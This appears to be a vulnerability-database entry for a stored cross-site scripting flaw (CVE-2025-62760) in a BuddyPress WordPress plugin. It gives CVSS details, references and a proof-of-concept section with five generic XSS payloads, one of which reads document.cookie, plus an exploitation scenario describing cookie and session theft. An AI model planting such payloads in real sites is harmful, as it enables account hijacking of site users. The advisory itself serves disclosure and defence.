CVE-2025-62760

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in BuddyDev BuddyPress Activity Shortcode bp-activity-shortcode allows Stored XSS.This issue affects BuddyPress Activity Shortcode: from n/a through <= 1.1.8.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

BuddyPress Activity Shortcode (bp-activity-shortcode) <= 1.1.8

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Stored XSS PoC for CVE-2025-62760 -->
<!-- This PoC demonstrates the stored XSS vulnerability in BuddyPress Activity Shortcode plugin -->

<!-- Method 1: Basic script injection -->
<script>alert('XSS Vulnerability - CVE-2025-62760')</script>

<!-- Method 2: Image tag with onerror handler -->
<img src=x onerror=alert('Cookie stolen: ' + document.cookie)>

<!-- Method 3: Event handler injection -->
<body onload=alert('XSS Executed')>

<!-- Method 4: SVG injection -->
<svg onload=alert('XSS via SVG')>

<!-- Method 5: JavaScript URI -->
<a href="javascript:alert('XSS via link')">Click me</a>

<!-- Exploitation scenario: -->
<!-- 1. Attacker posts a BuddyPress activity with one of the above payloads -->
<!-- 2. The payload is stored in the database without sanitization -->
<!-- 3. When a user views a page containing [bp-activity-shortcode], the malicious script executes -->
<!-- 4. Attacker can steal cookies, session tokens, or perform actions on behalf of the victim -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62760
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62760
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62760/
[4] VulDB https://vuldb.com/cve/CVE-2025-62760
[5] https://patchstack.com/database/Wordpress/Plugin/bp-activity-shortcode/vulnerability/wordpress-buddypress-activity-shortcode-plugin-1-1-8-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

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